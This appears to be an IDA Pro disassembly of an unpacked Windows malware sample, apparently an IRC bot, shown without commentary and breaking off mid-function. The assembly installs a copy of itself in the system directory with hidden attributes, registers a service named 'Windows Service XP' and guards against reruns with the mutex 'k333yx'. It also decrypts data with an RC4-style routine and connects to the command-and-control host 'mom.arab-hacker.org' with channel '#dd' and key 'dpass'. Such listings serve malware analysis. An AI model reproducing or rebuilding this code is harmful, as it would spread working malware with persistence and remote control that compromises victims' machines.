;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A8A1059F8A5E78E3918E72C2B06005A9

; File Name   :	u:\work\a8a1059f8a5e78e3918e72c2b06005a9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000F9000 (1019904.)
; Section size in file		: 000F9000 (1019904.)
; Offset to raw	data for section: 00001000
; Flags	F2000060: Text Data Discardable	Shareable Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp0		segment	para public 'CODE' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_40141B+355p
					; sub_41615A+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_43A050
		xor	esi, esi
		mov	ebx, offset aWindowsService ; "Windows Service XP"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4E0858
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_418D00
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4E08C4
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4E0810


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4E087C
		add	edi, 8
		cmp	edi, offset dword_43A068
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_43701C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: sub_414A1D+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_418ED0
		mov	[esp+10h+var_10], offset dword_43A068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B170
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_419360
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41AE60
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_419940
		push	edi
		call	sub_418D80
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		lea	eax, [ebp-34h]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		mov	[ebp-4], bl
		call	sub_418D00
		mov	esi, 101h
		mov	[ebp-38h], eax
		push	esi
		lea	eax, [ebp-13Ch]
		push	ebx
		push	eax
		call	sub_41B190
		push	esi
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 100h


loc_401227:				; CODE XREF: .nsp0:00401231j
		mov	[ebp+eax-13Ch],	al
		inc	eax
		cmp	eax, ecx
		jb	short loc_401227
		cmp	[ebp+14h], ebx
		jz	short loc_401256
		xor	eax, eax


loc_40123A:				; CODE XREF: .nsp0:00401252j
		cmp	edi, [ebp+14h]
		jnz	short loc_401241
		xor	edi, edi


loc_401241:				; CODE XREF: .nsp0:0040123Dj
		mov	edx, [ebp+10h]
		mov	dl, [edi+edx]
		inc	edi
		mov	[ebp+eax-240h],	dl
		inc	eax
		cmp	eax, ecx
		jb	short loc_40123A
		jmp	short loc_401270
; ---------------------------------------------------------------------------


loc_401256:				; CODE XREF: .nsp0:00401236j
		xor	esi, esi


loc_401258:				; CODE XREF: .nsp0:0040126Ej
		cmp	edi, [ebp-38h]
		jnz	short loc_40125F
		xor	edi, edi


loc_40125F:				; CODE XREF: .nsp0:0040125Bj
		mov	al, [ebp+edi-34h]
		inc	edi
		mov	[ebp+esi-240h],	al
		inc	esi
		cmp	esi, ecx
		jb	short loc_401258


loc_401270:				; CODE XREF: .nsp0:00401254j
		mov	[ebp+14h], ebx
		xor	edi, edi
		mov	eax, 0FFh


loc_40127A:				; CODE XREF: .nsp0:004012B4j
		mov	dl, [ebp+edi-13Ch]
		mov	ebx, [ebp+14h]
		mov	cl, [ebp+edi-240h]
		lea	esi, [ebp+edi-13Ch]
		add	ebx, edx
		add	ecx, ebx
		and	ecx, eax
		inc	edi
		mov	[ebp+14h], ecx
		cmp	edi, 100h
		mov	bl, [ebp+ecx-13Ch]
		lea	ecx, [ebp+ecx-13Ch]
		mov	[esi], bl
		mov	[ecx], dl
		jb	short loc_40127A
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		mov	[ebp+14h], edi
		mov	[ebp+10h], edi
		jbe	short loc_401312


loc_4012C3:				; CODE XREF: .nsp0:00401310j
		inc	edi
		and	edi, eax
		mov	dl, [ebp+edi-13Ch]
		lea	ecx, [ebp+edi-13Ch]
		mov	bl, dl
		add	ebx, [ebp+14h]
		and	ebx, eax
		mov	esi, ebx
		mov	bl, [ebp+esi-13Ch]
		mov	[ebp+14h], esi
		mov	[ecx], bl
		lea	esi, [ebp+esi-13Ch]
		mov	ebx, [ebp+10h]
		mov	[esi], dl
		mov	cl, [ecx]
		mov	esi, [ebp+8]
		add	ecx, edx
		and	ecx, eax
		add	esi, ebx
		mov	cl, [ebp+ecx-13Ch]
		xor	[esi], cl
		inc	ebx
		cmp	ebx, [ebp+0Ch]
		mov	[ebp+10h], ebx
		jb	short loc_4012C3


loc_401312:				; CODE XREF: .nsp0:004012C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401317	proc near		; DATA XREF: sub_40141B+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4537D4
		call	dword_4E0934
		call	sub_40A9C6
		call	dword_4E0804
		call	dword_4E0804
		mov	ebx, dword_4F1334
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B190
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_452A40
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_4F1330	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_4F132C	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_4F1328	; CreateProcessA
		test	eax, eax
		jz	short loc_4013DC
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_4F1324
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4013DC:				; CODE XREF: sub_401317+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_452A38
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_4F1320	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_4013FF:				; DATA XREF: .nsp0:0043A004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_4165B5
		pop	ecx
		mov	dword_4E05C8, eax
		pop	ecx
		retn
sub_401317	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40141B	proc near		; CODE XREF: .nsp0:0041EAE1p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_401317
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4F1364
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4E05CC, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		call	sub_408F54
		push	2
		call	dword_4E0948
		push	7530h
		push	offset aK333yx	; "k333yx"
		push	ebx
		push	ebx
		call	dword_4F1360	; CreateMutexA
		push	eax
		call	dword_4F135C	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40149B
		push	1
		call	dword_4F1320	; ExitProcess


loc_40149B:				; CODE XREF: sub_40141B+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4E081C
		cmp	eax, ebx
		jnz	loc_4019D8
		cmp	[ebp+var_884], 2
		jnz	loc_4019D2
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4019D2
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_4F1330	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_4F1358	; GetModuleHandleA
		push	eax
		call	dword_4F132C	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_41BA10
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_7	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41B910
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_41B890
		add	esp, 30h
		test	eax, eax
		jnz	loc_40170D
		cmp	dword_43A08C, ebx
		mov	esi, offset byte_43A0E8
		jz	short loc_401593
		push	esi
		xor	edi, edi
		call	sub_418D00
		sub	eax, 4
		pop	ecx
		jz	short loc_401593


loc_401570:				; CODE XREF: sub_40141B+176j
		call	sub_41B850
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_43A0E8[edi], dl
		inc	edi
		call	sub_418D00
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401570


loc_401593:				; CODE XREF: sub_40141B+145j
					; sub_40141B+153j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_8	; "%s\\%s"
		push	eax
		call	sub_41B740
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4F1354	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4015D3
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_4F1350	; SetFileAttributesA


loc_4015D3:				; CODE XREF: sub_40141B+1A4j
		mov	esi, dword_4F134C
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_4015EA:				; CODE XREF: sub_40141B+206j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_401623
		call	dword_4F1348	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_401623
		cmp	eax, 20h
		jz	short loc_401604
		cmp	eax, 5
		jnz	short loc_401623


loc_401604:				; CODE XREF: sub_40141B+1E2j
		push	1
		pop	edi
		push	3A98h
		call	dword_4F1334	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_4015EA
; ---------------------------------------------------------------------------


loc_401623:				; CODE XREF: sub_40141B+1D3j
					; sub_40141B+1DDj ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416016
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_4F1350	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41B190
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset dword_4E0758
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	dword_4F1344	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_4F1340	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset aSDS_0	; "%s %d \"%s\""
		push	eax
		call	sub_41B740
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4F1328	; CreateProcessA
		test	eax, eax
		jz	short loc_40170D
		push	0C8h
		call	dword_4F1334	; Sleep
		push	[ebp+var_20]
		mov	esi, dword_4F1324
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4E0804
		push	ebx
		call	dword_4F1320	; ExitProcess


loc_40170D:				; CODE XREF: sub_40141B+134j
					; sub_40141B+2C8j
		cmp	dword_4EF88C, 2
		jle	short loc_401759
		mov	eax, dword_4EF890
		push	dword ptr [eax+4]
		call	sub_41B3F0
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4F135C	; WaitForSingleObject
		push	esi
		call	dword_4F1324	; CloseHandle
		mov	eax, dword_4EF890
		cmp	[eax+8], ebx
		jz	short loc_401759
		push	7D0h
		call	dword_4F1334	; Sleep
		mov	eax, dword_4EF890
		push	dword ptr [eax+8]
		call	dword_4F133C	; DeleteFileA


loc_401759:				; CODE XREF: sub_40141B+2F9j
					; sub_40141B+323j
		cmp	dword_43A090, ebx
		jz	short loc_401776
		cmp	dword_4E096C, ebx
		jnz	short loc_401776
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_401000
		pop	ecx


loc_401776:				; CODE XREF: sub_40141B+344j
					; sub_40141B+34Cj
		lea	eax, [ebp+var_A0]
		push	offset dword_44145C
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40A7FD
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41458A
		push	0B80h
		push	ebx
		push	offset dword_452A48
		call	sub_41B190
		lea	eax, [ebp+var_A0]
		push	offset unk_441478
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_A0]
		push	1
		push	eax
		call	sub_40A7FD
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_4F1338
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_417935
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4537DC[esi], eax
		jnz	short loc_401816
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset unk_44149C
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_401816:				; CODE XREF: sub_40141B+3DEj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41458A
		push	2
		call	sub_40AA45
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40189B
		lea	eax, [ebp+var_A0]
		push	offset dword_4414DC
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A7FD
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40FD11
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4537DC[esi], eax
		jnz	short loc_40188E
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset dword_441508
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_40188E:				; CODE XREF: sub_40141B+456j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41458A
		pop	ecx


loc_40189B:				; CODE XREF: sub_40141B+412j
		call	sub_41B850
		push	7Fh
		and	eax, 3
		push	offset aMom_arabHacker ; "mom.arab-hacker.org"
		push	offset dword_4E05D4
		mov	dword_4E074C, eax
		call	sub_41B1F0
		mov	eax, dword_43A06C
		push	3Fh
		mov	edi, offset dword_4E0654
		push	offset aDd	; "#dd"
		push	edi
		mov	dword_4E0724, eax
		call	sub_41B1F0
		push	3Fh
		mov	esi, offset dword_4E0694
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_41B1F0
		add	esp, 24h
		mov	dword_4E0728, ebx


loc_4018F0:				; CODE XREF: sub_40141B+55Dj
					; sub_40141B+568j ...
		mov	[ebp+var_4], ebx


loc_4018F3:				; CODE XREF: sub_40141B+511j
		push	offset dword_4E05D0
		mov	dword_4E0748, ebx
		call	sub_4019E1
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4019CD
		cmp	dword_4E0748, ebx
		jz	short loc_40191A
		dec	[ebp+var_4]


loc_40191A:				; CODE XREF: sub_40141B+4FAj
		push	0BB8h
		call	dword_4F1334	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4018F3
		cmp	[ebp+var_10], 2
		jz	loc_4019CD
		cmp	[ebp+var_C], ebx
		jz	short loc_40197D
		push	7Fh
		push	offset aMom_arabHacker ; "mom.arab-hacker.org"
		push	offset dword_4E05D4
		call	sub_41B1F0
		mov	eax, dword_43A06C
		push	3Fh
		push	offset aDd	; "#dd"
		push	edi
		mov	dword_4E0724, eax
		call	sub_41B1F0
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_41B1F0
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4018F0
; ---------------------------------------------------------------------------


loc_40197D:				; CODE XREF: sub_40141B+520j
		cmp	byte_4E073C, bl
		jz	loc_4018F0
		push	7Fh
		push	offset byte_4E073C
		push	offset dword_4E05D4
		call	sub_41B1F0
		mov	eax, dword_43A070
		push	3Fh
		push	offset dword_4E0740
		push	edi
		mov	dword_4E0724, eax
		call	sub_41B1F0
		push	3Fh
		push	offset dword_4E0744
		push	esi
		call	sub_41B1F0
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4018F0
; ---------------------------------------------------------------------------


loc_4019CD:				; CODE XREF: sub_40141B+4EEj
					; sub_40141B+517j
		call	sub_40A9C6


loc_4019D2:				; CODE XREF: sub_40141B+A1j
					; sub_40141B+B1j
		call	dword_4E0804


loc_4019D8:				; CODE XREF: sub_40141B+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40141B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019E1	proc near		; CODE XREF: sub_40141B+4E3p
					; DATA XREF: sub_401CC1+5DE1o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401A06:				; CODE XREF: sub_4019E1+E6j
					; sub_4019E1+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4E08A0
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_409EFD
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401B33
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B190
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_43A0A0
		push	dword_43A09C
		push	eax
		call	sub_40A4F6
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4537E0
		push	edi
		push	eax
		call	sub_41B1F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4E091C
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4537D4[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4E084C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401ACC
		push	esi
		call	dword_4E0934
		call	sub_409F26
		push	7D0h


loc_401AC1:				; CODE XREF: sub_4019E1+146j
		call	dword_4F1334	; Sleep
		jmp	loc_401A06
; ---------------------------------------------------------------------------


loc_401ACC:				; CODE XREF: sub_4019E1+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_44153C
		call	sub_4145FE
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401B49
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4E0934
		test	edi, edi
		jz	loc_401A06
		cmp	edi, 1
		jnz	short loc_401B29
		push	0DBBA0h
		jmp	short loc_401AC1
; ---------------------------------------------------------------------------


loc_401B29:				; CODE XREF: sub_4019E1+13Fj
		cmp	edi, 2
		jz	short loc_401B37
		jmp	loc_401A06
; ---------------------------------------------------------------------------


loc_401B33:				; CODE XREF: sub_4019E1+5Aj
		xor	eax, eax
		jmp	short loc_401B43
; ---------------------------------------------------------------------------


loc_401B37:				; CODE XREF: sub_4019E1+14Bj
		push	[ebp+var_34]
		call	sub_40AB19
		pop	ecx
		push	2
		pop	eax


loc_401B43:				; CODE XREF: sub_4019E1+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4019E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B49	proc near		; CODE XREF: sub_4019E1+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BC60
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401B67:				; CODE XREF: sub_401B49+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401B67
		cmp	byte_4E0738, bl
		jz	short loc_401B8E
		push	offset byte_4E0738
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_408E73
		add	esp, 0Ch


loc_401B8E:				; CODE XREF: sub_401B49+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
